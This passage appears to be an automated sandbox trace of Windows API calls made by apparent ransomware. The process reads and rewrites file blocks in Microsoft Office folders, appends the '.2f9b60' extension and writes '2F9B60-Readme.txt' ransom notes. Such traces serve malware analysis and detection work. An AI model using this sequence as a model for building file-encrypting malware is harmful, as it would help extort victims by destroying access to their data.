Seed=0x299bf6d0) returned 0x2e104d27 [0132.566] RtlRandomEx (in: Seed=0x299bf6d0 | out: Seed=0x299bf6d0) returned 0x6b26e992 [0132.566] RtlRandomEx (in: Seed=0x299bf6d0 | out: Seed=0x299bf6d0) returned 0x6e5dbb8 [0132.566] RtlRandomEx (in: Seed=0x299bf6d0 | out: Seed=0x299bf6d0) returned 0x54c8532f [0132.566] RtlRandomEx (in: Seed=0x299bf6d0 | out: Seed=0x299bf6d0) returned 0xc58a23d [0132.566] RtlRandomEx (in: Seed=0x299bf6d0 | out: Seed=0x299bf6d0) returned 0x140fd2e [0132.566] RtlRandomEx (in: Seed=0x299bf6d0 | out: Seed=0x299bf6d0) returned 0x7cfc2427 [0132.566] RtlRandomEx (in: Seed=0x299bf6d0 | out: Seed=0x299bf6d0) returned 0x2a6ad6e3 [0132.566] RtlRandomEx (in: Seed=0x299bf6d0 | out: Seed=0x299bf6d0) returned 0x6314721 [0132.566] RtlRandomEx (in: Seed=0x299bf6d0 | out: Seed=0x299bf6d0) returned 0x5162f749 [0132.566] RtlRandomEx (in: Seed=0x299bf6d0 | out: Seed=0x299bf6d0) returned 0x27be2fdd [0132.566] RtlRandomEx (in: Seed=0x299bf6d0 | out: Seed=0x299bf6d0) returned 0x1088ff71 [0132.566] RtlRandomEx (in: Seed=0x299bf6d0 | out: Seed=0x299bf6d0) returned 0x1baca1b4 [0132.566] RtlRandomEx (in: Seed=0x299bf6d0 | out: Seed=0x299bf6d0) returned 0x681941ba [0132.566] RtlRandomEx (in: Seed=0x299bf6d0 | out: Seed=0x299bf6d0) returned 0x2abdb9ca [0132.566] RtlRandomEx (in: Seed=0x299bf6d0 | out: Seed=0x299bf6d0) returned 0x67c1bf60 [0132.575] SetFilePointerEx (in: hFile=0x1b00, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.575] ReadFile (in: hFile=0x1b00, lpBuffer=0x201c85a0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x299bf740, lpOverlapped=0x0 | out: lpBuffer=0x201c85a0*, lpNumberOfBytesRead=0x299bf740*=0x3c00, lpOverlapped=0x0) returned 1 [0132.593] SetFilePointerEx (in: hFile=0x1b00, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.594] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd972b0 [0132.594] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dcf0 [0132.594] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266bd0 [0132.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266bd0) returned 1 [0132.594] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201cc1b0 [0132.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266bd0 [0132.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266d80 [0132.595] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266d80) returned 1 [0132.595] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 [0132.595] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd972b0) returned 1 [0132.595] WriteFile (hFile=0x1b00, lpBuffer=0x201cc1b0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x299bf740, lpOverlapped=0x0) [0176.635] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201cc1b0) returned 1 [0176.635] SetFilePointerEx (in: hFile=0x1b00, liDistanceToMove=0x21c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.635] ReadFile (in: hFile=0x1b00, lpBuffer=0x201c85a0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x299bf740, lpOverlapped=0x0 | out: lpBuffer=0x201c85a0*, lpNumberOfBytesRead=0x299bf740*=0x3c00, lpOverlapped=0x0) returned 1 [0176.667] SetFilePointerEx (in: hFile=0x1b00, liDistanceToMove=0x21c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c10 [0176.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060930 [0176.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7970 [0176.668] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7970) returned 1 [0176.668] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423cc580 [0176.668] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7970 [0176.669] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a79a0 [0176.669] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a79a0) returned 1 [0176.669] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060930) returned 1 [0176.670] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c10) returned 1 [0176.670] WriteFile (in: hFile=0x1b00, lpBuffer=0x423cc580*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x299bf740, lpOverlapped=0x0 | out: lpBuffer=0x423cc580*, lpNumberOfBytesWritten=0x299bf740*=0x3c00, lpOverlapped=0x0) returned 1 [0194.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423cc580) returned 1 [0194.159] SetFilePointerEx (in: hFile=0x1b00, liDistanceToMove=0x3d5f5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.159] ReadFile (in: hFile=0x1b00, lpBuffer=0x201c85a0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x299bf740, lpOverlapped=0x0 | out: lpBuffer=0x201c85a0*, lpNumberOfBytesRead=0x299bf740*=0x3c00, lpOverlapped=0x0) returned 1 [0194.238] SetFilePointerEx (in: hFile=0x1b00, liDistanceToMove=0x3d5f5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.238] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bc50 [0194.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebe880 [0194.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313a180 [0194.240] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a180) returned 1 [0194.240] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423b5d20 [0194.241] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313a180 [0194.242] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313a1b0 [0194.242] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a1b0) returned 1 [0194.243] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebe880) returned 1 [0194.243] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bc50) returned 1 [0194.244] WriteFile (in: hFile=0x1b00, lpBuffer=0x423b5d20*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x299bf740, lpOverlapped=0x0 | out: lpBuffer=0x423b5d20*, lpNumberOfBytesWritten=0x299bf740*=0x3c00, lpOverlapped=0x0) returned 1 [0204.728] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423b5d20) returned 1 [0204.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ce15370 [0204.728] SetFilePointerEx (in: hFile=0x1b00, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0204.729] WriteFile (in: hFile=0x1b00, lpBuffer=0x431f5900*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0x299bf7f0, lpOverlapped=0x0 | out: lpBuffer=0x431f5900*, lpNumberOfBytesWritten=0x299bf7f0*=0x14a, lpOverlapped=0x0) returned 1 [0215.781] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058e70 [0215.781] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebbb60 [0215.782] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9a00 [0215.782] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9a00) returned 1 [0215.782] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0215.783] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9a00 [0215.783] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9b80 [0215.784] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9b80) returned 1 [0215.784] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebbb60) returned 1 [0215.785] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058e70) returned 1 [0215.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1ce5e2f0 [0215.785] sprintf (in: _Dest=0x1ce5e2f0, _Format="%c%c" | out: _Dest="32") returned 2 [0215.785] sprintf (in: _Dest=0x1ce5e2f2, _Format="%c%c" | out: _Dest="7e") returned 2 [0215.785] sprintf (in: _Dest=0x1ce5e2f4, _Format="%c%c" | out: _Dest="02") returned 2 [0215.785] sprintf (in: _Dest=0x1ce5e2f6, _Format="%c%c" | out: _Dest="99") returned 2 [0215.785] sprintf (in: _Dest=0x1ce5e2f8, _Format="%c%c" | out: _Dest="66") returned 2 [0215.785] sprintf (in: _Dest=0x1ce5e2fa, _Format="%c%c" | out: _Dest="98") returned 2 [0215.785] sprintf (in: _Dest=0x1ce5e2fc, _Format="%c%c" | out: _Dest="ec") returned 2 [0215.785] sprintf (in: _Dest=0x1ce5e2fe, _Format="%c%c" | out: _Dest="78") returned 2 [0215.785] sprintf (in: _Dest=0x1ce5e300, _Format="%c%c" | out: _Dest="29") returned 2 [0215.785] sprintf (in: _Dest=0x1ce5e302, _Format="%c%c" | out: _Dest="95") returned 2 [0215.785] sprintf (in: _Dest=0x1ce5e304, _Format="%c%c" | out: _Dest="7e") returned 2 [0215.785] sprintf (in: _Dest=0x1ce5e306, _Format="%c%c" | out: _Dest="b8") returned 2 [0215.785] sprintf (in: _Dest=0x1ce5e308, _Format="%c%c" | out: _Dest="ce") returned 2 [0215.785] sprintf (in: _Dest=0x1ce5e30a, _Format="%c%c" | out: _Dest="13") returned 2 [0215.785] sprintf (in: _Dest=0x1ce5e30c, _Format="%c%c" | out: _Dest="02") returned 2 [0215.785] sprintf (in: _Dest=0x1ce5e30e, _Format="%c%c" | out: _Dest="93") returned 2 [0215.785] sprintf (in: _Dest=0x1ce5e310, _Format="%c%c" | out: _Dest="77") returned 2 [0215.785] sprintf (in: _Dest=0x1ce5e312, _Format="%c%c" | out: _Dest="22") returned 2 [0215.785] sprintf (in: _Dest=0x1ce5e314, _Format="%c%c" | out: _Dest="a8") returned 2 [0215.785] sprintf (in: _Dest=0x1ce5e316, _Format="%c%c" | out: _Dest="5b") returned 2 [0215.785] sprintf (in: _Dest=0x1ce5e318, _Format="%c%c" | out: _Dest="7a") returned 2 [0215.785] sprintf (in: _Dest=0x1ce5e31a, _Format="%c%c" | out: _Dest="e6") returned 2 [0215.785] sprintf (in: _Dest=0x1ce5e31c, _Format="%c%c" | out: _Dest="61") returned 2 [0215.786] sprintf (in: _Dest=0x1ce5e31e, _Format="%c%c" | out: _Dest="3b") returned 2 [0215.786] RtlInitAnsiString (in: DestinationString=0x299bf868, SourceString="327e02996698ec7829957eb8ce1302937722a85b7ae6613b" | out: DestinationString="327e02996698ec7829957eb8ce1302937722a85b7ae6613b") [0215.786] RtlAnsiStringToUnicodeString (in: DestinationString=0x299bf838, SourceString="327e02996698ec7829957eb8ce1302937722a85b7ae6613b", AllocateDestinationString=1 | out: DestinationString="327e02996698ec7829957eb8ce1302937722a85b7ae6613b") returned 0x0 [0215.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ce15840 [0215.786] wcscat (in: _Dest=0x4318a860, _Source="327e02996698" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\327e02996698") returned="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\327e02996698" [0215.786] wcscat (in: _Dest=0x4318a860, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\327e02996698.2f9b60") returned="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\327e02996698.2f9b60" [0215.786] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\327e02996698.2f9b60", NtPathName=0x299bf810, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\327e02996698.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0215.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x4312a7e0 [0218.653] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4312a7e0) returned 1 [0218.653] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431b5b10) returned 1 [0218.653] NtQueryInformationFile (in: FileHandle=0x1b00, IoStatusBlock=0x299bf878, FileInformation=0x299bf888, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x299bf878, FileInformation=0x299bf888) returned 0x0 [0218.654] NtSetInformationFile (FileHandle=0x1b00, IoStatusBlock=0x299bf878, FileInformation=0x299bf888, Length=0x28, FileInformationClass=0x4) returned 0x0 [0222.174] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4318a860) returned 1 [0222.175] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce15840) returned 1 [0222.175] FlushFileBuffers (hFile=0x1b00) returned 1 [0222.590] CloseHandle (hObject=0x1b00) returned 1 [0223.098] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x431cb3a0 [0223.099] wcscpy (in: _Dest=0x431cb3a0, _Source="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\" [0223.099] wcscat (in: _Dest=0x431cb3a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt" [0223.099] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\1033\\2f9b60-readme.txt")) returned 0xffffffff [0223.099] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\1033\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8bc [0224.138] WriteFile (in: hFile=0x8bc, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x299bf730, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x299bf730*=0xba9, lpOverlapped=0x0) returned 1 [0225.577] CloseHandle (hObject=0x8bc) returned 1 [0226.259] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431cb3a0) returned 1 [0226.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b7f0) returned 1 Thread: id = 1817 os_tid = 0xd0c [0132.591] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CreateSpaceImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\createspaceimage.jpg")) returned 0x20 [0132.591] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CreateSpaceImage.jpg", dwFileAttributes=0x20) returned 1 [0132.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CreateSpaceImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\createspaceimage.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b04 [0132.592] GetFileSizeEx (in: hFile=0x1b04, lpFileSize=0x2569f720 | out: lpFileSize=0x2569f720*=10603) returned 1 [0132.592] SetFilePointerEx (in: hFile=0x1b04, liDistanceToMove=0x2967, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.592] ReadFile (in: hFile=0x1b04, lpBuffer=0x2569f6a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2569f6e8, lpOverlapped=0x0 | out: lpBuffer=0x2569f6a0*, lpNumberOfBytesRead=0x2569f6e8*=0x4, lpOverlapped=0x0) returned 1 [0132.596] SetFilePointerEx (in: hFile=0x1b04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.596] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266d80 [0132.597] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266c90 [0132.597] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266d50 [0132.597] NtQuerySystemTime (in: CurrentTime=0x2569f5e0 | out: CurrentTime=0x2569f5e0*=132462177378334000) returned 0x0 [0132.597] RtlRandomEx (in: Seed=0x2569f5d0 | out: Seed=0x2569f5d0) returned 0x52fe534e [0132.597] RtlRandomEx (in: Seed=0x2569f5d0 | out: Seed=0x2569f5d0) returned 0xdd6c91d [0132.597] RtlRandomEx (in: Seed=0x2569f5d0 | out: Seed=0x2569f5d0) returned 0x2fc5eee3 [0132.597] RtlRandomEx (in: Seed=0x2569f5d0 | out: Seed=0x2569f5d0) returned 0x169054c8 [0132.597] RtlRandomEx (in: Seed=0x2569f5d0 | out: Seed=0x2569f5d0) returned 0x60916f25 [0132.597] RtlRandomEx (in: Seed=0x2569f5d0 | out: Seed=0x2569f5d0) returned 0x580028d7 [0132.597] RtlRandomEx (in: Seed=0x2569f5d0 | out: Seed=0x2569f5d0) returned 0x6c03755a [0132.597] RtlRandomEx (in: Seed=0x2569f5d0 | out: Seed=0x2569f5d0) returned 0x2e6123ff [0132.597] RtlRandomEx (in: Seed=0x2569f5d0 | out: Seed=0x2569f5d0) returned 0x69da09b0 [0132.597] RtlRandomEx (in: Seed=0x2569f5d0 | out: Seed=0x2569f5d0) returned 0x4fd89262 [0132.597] RtlRandomEx (in: Seed=0x2569f5d0 | out: Seed=0x2569f5d0) returned 0x53e52dd6 [0132.597] RtlRandomEx (in: Seed=0x2569f5d0 | out: Seed=0x2569f5d0) returned 0x48f3065b [0132.597] RtlRandomEx (in: Seed=0x2569f5d0 | out: Seed=0x2569f5d0) returned 0x29bf73e3 [0132.597] RtlRandomEx (in: Seed=0x2569f5d0 | out: Seed=0x2569f5d0) returned 0x34608af5 [0132.597] RtlRandomEx (in: Seed=0x2569f5d0 | out: Seed=0x2569f5d0) returned 0xb79f07d [0132.597] RtlRandomEx (in: Seed=0x2569f5d0 | out: Seed=0x2569f5d0) returned 0x56af1fc6 [0132.597] RtlRandomEx (in: Seed=0x2569f5d0 | out: Seed=0x2569f5d0) returned 0x7c87be0d [0132.597] RtlRandomEx (in: Seed=0x2569f5d0 | out: Seed=0x2569f5d0) returned 0x37332e1 [0132.597] RtlRandomEx (in: Seed=0x2569f5d0 | out: Seed=0x2569f5d0) returned 0x3d68cd3 [0132.597] RtlRandomEx (in: Seed=0x2569f5d0 | out: Seed=0x2569f5d0) returned 0x9c94d30 [0132.597] RtlRandomEx (in: Seed=0x2569f5d0 | out: Seed=0x2569f5d0) returned 0x29dda74a [0132.597] RtlRandomEx (in: Seed=0x2569f5d0 | out: Seed=0x2569f5d0) returned 0xdc0de37 [0132.597] RtlRandomEx (in: Seed=0x2569f5d0 | out: Seed=0x2569f5d0) returned 0x10d2f3b5 [0132.597] RtlRandomEx (in: Seed=0x2569f5d0 | out: Seed=0x2569f5d0) returned 0x6e338fa8 [0132.597] RtlRandomEx (in: Seed=0x2569f5d0 | out: Seed=0x2569f5d0) returned 0x506f812d [0132.597] RtlRandomEx (in: Seed=0x2569f5d0 | out: Seed=0x2569f5d0) returned 0x142aefe3 [0132.597] RtlRandomEx (in: Seed=0x2569f5d0 | out: Seed=0x2569f5d0) returned 0x6d634f29 [0132.597] RtlRandomEx (in: Seed=0x2569f5d0 | out: Seed=0x2569f5d0) returned 0x660d22bc [0132.597] RtlRandomEx (in: Seed=0x2569f5d0 | out: Seed=0x2569f5d0) returned 0x316d16f8 [0132.597] RtlRandomEx (in: Seed=0x2569f5d0 | out: Seed=0x2569f5d0) returned 0x26fab5f3 [0132.597] RtlRandomEx (in: Seed=0x2569f5d0 | out: Seed=0x2569f5d0) returned 0x4ffd2099 [0132.597] RtlRandomEx (in: Seed=0x2569f5d0 | out: Seed=0x2569f5d0) returned 0x7d75569c [0132.605] ReadFile (in: hFile=0x1b04, lpBuffer=0x41b39560, nNumberOfBytesToRead=0x296b, lpNumberOfBytesRead=0x2569f5d0, lpOverlapped=0x0 | out: lpBuffer=0x41b39560*, lpNumberOfBytesRead=0x2569f5d0*=0x296b, lpOverlapped=0x0) returned 1 [0132.618] SetFilePointerEx (in: hFile=0x1b04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.618] WriteFile (in: hFile=0x1b04, lpBuffer=0x41b2e130*, nNumberOfBytesToWrite=0x296b, lpNumberOfBytesWritten=0x2569f5d4, lpOverlapped=0x0 | out: lpBuffer=0x41b2e130*, lpNumberOfBytesWritten=0x2569f5d4*=0x296b, lpOverlapped=0x0) returned 1 [0132.635] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266d80 [0132.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266db0 [0132.636] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266db0) returned 1 [0132.636] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b2e130) returned 1 [0132.636] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b39560) returned 1 [0132.636] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 [0132.636] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd972b0) returned 1 [0132.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cd9f270 [0132.637] SetFilePointerEx (in: hFile=0x1b04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0132.637] WriteFile (in: hFile=0x1b04, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x2569f6f0, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x2569f6f0*=0x11a, lpOverlapped=0x0) returned 1 [0132.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3a20) returned 1 [0132.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f3f0) returned 1 [0132.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266db0) returned 1 [0132.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f270) returned 1 [0132.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266d80) returned 1 [0132.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266c90) returned 1 [0132.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266d20) returned 1 [0132.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266c60) returned 1 [0132.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x106c40 [0132.643] wcscpy (in: _Dest=0x106c40, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CreateSpaceImage.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CreateSpaceImage.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CreateSpaceImage.jpg" [0132.643] wcscat (in: _Dest=0x106c40, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CreateSpaceImage.jpg.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CreateSpaceImage.jpg.2f9b60" [0132.643] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CreateSpaceImage.jpg.2f9b60", NtPathName=0x2569f710, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CreateSpaceImage.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0132.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x1b776770 [0132.645] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776770) returned 1 [0132.645] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceccba0) returned 1 [0132.645] NtQueryInformationFile (in: FileHandle=0x1b04, IoStatusBlock=0x2569f778, FileInformation=0x2569f788, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2569f778, FileInformation=0x2569f788) returned 0x0 [0132.645] NtSetInformationFile (FileHandle=0x1b04, IoStatusBlock=0x2569f778, FileInformation=0x2569f788, Length=0x28, FileInformationClass=0x4) returned 0x0 [0132.657] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106c40) returned 1 [0132.657] FlushFileBuffers (hFile=0x1b04) returned 1 [0138.527] CloseHandle (hObject=0x1b04) returned 1 [0138.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x2050c5b0 [0138.562] wcscpy (in: _Dest=0x2050c5b0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0138.562] wcscat (in: _Dest=0x2050c5b0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0138.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0xffffffff [0139.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc4 [0147.174] WriteFile (in: hFile=0x1fc4, lpBuffer=0x1b82f9a0*, 